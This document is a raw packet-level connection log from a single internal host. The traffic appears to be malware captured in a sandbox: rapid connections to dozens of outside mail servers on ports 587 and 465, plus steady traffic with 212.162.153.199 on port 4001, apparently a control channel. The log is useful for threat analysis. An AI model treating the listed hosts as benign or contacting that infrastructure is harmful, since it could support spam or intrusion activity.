May 19, 2024 17:27:57.251663923 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:57.286873102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.297384977 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:57.297406912 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:57.297435999 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:57.297450066 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:57.297463894 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:27:57.297477961 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.297494888 CEST	587	50111	3.125.131.179	192.168.2.4
May 19, 2024 17:27:57.297509909 CEST	587	50112	52.223.34.187	192.168.2.4
May 19, 2024 17:27:57.297524929 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:27:57.297693968 CEST	50111	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:57.297696114 CEST	50112	587	192.168.2.4	52.223.34.187
May 19, 2024 17:27:57.297712088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.297713041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.297713041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.305857897 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:57.306164026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.311090946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.311090946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.315478086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.320430994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.349370956 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:27:57.349478960 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:57.354515076 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:57.354535103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.354713917 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:57.354772091 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:57.354773998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.355015993 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:57.355060101 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:57.355114937 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:57.355407953 CEST	50113	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:57.396187067 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:57.407197952 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:57.433437109 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:57.433453083 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:57.433465958 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:57.433480024 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.433495045 CEST	587	50113	188.114.96.3	192.168.2.4
May 19, 2024 17:27:57.433521986 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:57.433561087 CEST	50113	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:57.433619022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.433701038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.433701038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.434963942 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.434981108 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.435029984 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:57.435071945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.438066006 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.438163042 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.438163996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.441193104 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.441210032 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.441224098 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.441248894 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:57.441284895 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:57.441354990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.447318077 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.447333097 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.447381020 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:57.447429895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.450464010 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:57.450480938 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:57.450495005 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:57.450509071 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:57.450553894 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:57.450575113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.450643063 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:57.450649023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.456593990 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:57.456686974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.456686974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.459048986 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:57.459064960 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.459078074 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.459091902 CEST	587	49996	194.153.145.104	192.168.2.4
May 19, 2024 17:27:57.459100962 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:57.459105015 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.459117889 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.459146976 CEST	49996	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:57.459357023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.459357023 CEST	49996	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:57.459410906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.463767052 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.463781118 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.463793039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.463805914 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.463825941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.463900089 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:57.463958979 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:57.464006901 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:57.464051008 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:57.464158058 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:57.464229107 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:57.468528032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.473249912 CEST	587	49996	194.153.145.104	192.168.2.4
May 19, 2024 17:27:57.473263025 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.474272966 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:57.479088068 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:57.479103088 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:57.479118109 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:57.479131937 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.479145050 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:57.479157925 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:57.479724884 CEST	50114	465	192.168.2.4	13.56.33.8
May 19, 2024 17:27:57.503123999 CEST	587	49999	99.83.253.192	192.168.2.4
May 19, 2024 17:27:57.503349066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.503366947 CEST	49999	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:57.503366947 CEST	49999	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:57.507998943 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:57.508213043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.512927055 CEST	465	50114	13.56.33.8	192.168.2.4
May 19, 2024 17:27:57.513200998 CEST	50114	465	192.168.2.4	13.56.33.8
May 19, 2024 17:27:57.513200998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.517951965 CEST	587	49999	99.83.253.192	192.168.2.4
May 19, 2024 17:27:57.517971992 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:57.518186092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.522862911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.522885084 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:57.523031950 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:57.523031950 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:57.523129940 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.527826071 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:57.527918100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.532546997 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.537400007 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:57.552421093 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:57.557403088 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.557416916 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.557790041 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.558063030 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.558129072 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:57.558250904 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:57.558275938 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.558331013 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.558928013 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:57.562705994 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.568048954 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.568238974 CEST	50020	587	192.168.2.4	91.192.195.37
May 19, 2024 17:27:57.568546057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.573322058 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:57.573340893 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:57.573348999 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.573354006 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.573362112 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:27:57.573718071 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:57.573870897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.578099012 CEST	587	50020	91.192.195.37	192.168.2.4
May 19, 2024 17:27:57.578315020 CEST	50020	587	192.168.2.4	91.192.195.37
May 19, 2024 17:27:57.583653927 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:57.593153954 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.598062038 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.598083973 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:27:57.598098993 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.598113060 CEST	465	50095	176.9.131.126	192.168.2.4
May 19, 2024 17:27:57.598174095 CEST	50095	465	192.168.2.4	176.9.131.126
May 19, 2024 17:27:57.598191023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.598207951 CEST	50095	465	192.168.2.4	176.9.131.126
May 19, 2024 17:27:57.598242998 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:57.598277092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.598277092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.598308086 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:57.598318100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.603027105 CEST	587	50096	142.93.237.125	192.168.2.4
May 19, 2024 17:27:57.603082895 CEST	50096	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:57.603116989 CEST	50096	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:57.603152037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.608140945 CEST	465	50095	176.9.131.126	192.168.2.4
May 19, 2024 17:27:57.612998962 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.613044977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.646326065 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:27:57.651534081 CEST	587	50096	142.93.237.125	192.168.2.4
May 19, 2024 17:27:57.651580095 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:57.651611090 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:57.651719093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.651822090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.651875019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.651904106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.656580925 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.661447048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.661473036 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:57.662343025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.667387009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.667411089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.667424917 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:57.667741060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.673029900 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.673077106 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:57.673588037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.677730083 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.677751064 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:57.678220034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.678220034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.679631948 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:57.679806948 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:57.679881096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.687928915 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.687949896 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:57.687958956 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:57.688143015 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:57.688214064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.688215017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.689666033 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:57.689773083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.689773083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.692766905 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:57.692826033 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:57.693002939 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:57.693063974 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:57.693183899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.697494984 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.697513103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.697527885 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.697541952 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.697556019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.697568893 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:57.697715044 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:57.697804928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.698066950 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:57.698112965 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:57.698249102 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:57.698249102 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:57.698296070 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:57.702233076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.707313061 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:57.708647966 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:57.708655119 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:57.713745117 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:57.713766098 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:57.713781118 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:57.713794947 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.713810921 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:57.713824987 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.714235067 CEST	50116	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:57.722007990 CEST	587	50003	3.125.131.179	192.168.2.4
May 19, 2024 17:27:57.722083092 CEST	50003	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:57.722137928 CEST	50003	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:57.722290039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.724270105 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:57.727113008 CEST	587	50116	64.59.136.142	192.168.2.4
May 19, 2024 17:27:57.727221012 CEST	50116	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:57.729410887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.732155085 CEST	587	50003	3.125.131.179	192.168.2.4
May 19, 2024 17:27:57.737461090 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.740061998 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:57.750901937 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.751072884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.751074076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.752269030 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.752408981 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:57.752490044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.752490044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.755702972 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.756201982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.756202936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.759042025 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.759249926 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:57.759316921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.762365103 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.762388945 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.762398005 CEST	587	50004	104.22.65.144	192.168.2.4
May 19, 2024 17:27:57.762531996 CEST	50004	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:57.762588024 CEST	50004	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:57.762609959 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:57.762619019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.762698889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.767108917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.767144918 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:57.767158031 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.767172098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.767368078 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.767632961 CEST	50117	587	192.168.2.4	46.28.0.29
May 19, 2024 17:27:57.772181988 CEST	587	50004	104.22.65.144	192.168.2.4
May 19, 2024 17:27:57.777029037 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.777076006 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.809336901 CEST	587	50117	46.28.0.29	192.168.2.4
May 19, 2024 17:27:57.809355974 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.809361935 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.809367895 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:57.809375048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.809710026 CEST	50117	587	192.168.2.4	46.28.0.29
May 19, 2024 17:27:57.809745073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.809745073 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:57.809745073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.809745073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.809745073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.809777021 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.809863091 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:57.809931993 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:57.809977055 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:57.809977055 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:57.810343027 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:57.810400009 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:57.810839891 CEST	50118	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:57.812478065 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:57.812495947 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.812704086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.812704086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.812705040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.813908100 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.813961983 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:57.814136982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.814136982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.818017006 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:57.818530083 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.818809032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.823298931 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:57.823318958 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.823333979 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.823348045 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:27:57.823362112 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:57.823378086 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:27:57.823390961 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:57.823405027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.823419094 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:57.823431969 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:57.823448896 CEST	587	50118	3.125.131.179	192.168.2.4
May 19, 2024 17:27:57.823452950 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.823462009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.823499918 CEST	50118	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:57.823579073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.827989101 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.828376055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.828376055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.832731962 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.837567091 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.864944935 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:57.864948034 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.865041018 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:57.865050077 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.866384029 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:57.866384983 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:57.870034933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.881370068 CEST	50119	587	192.168.2.4	177.11.54.185
May 19, 2024 17:27:57.886538029 CEST	587	50119	177.11.54.185	192.168.2.4
May 19, 2024 17:27:57.886606932 CEST	50119	587	192.168.2.4	177.11.54.185
May 19, 2024 17:27:57.886755943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.900764942 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:57.901032925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.901032925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.901907921 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:57.901957035 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:57.902108908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.902108908 CEST	49734	4001	192.168.2.4	212.162.153.199
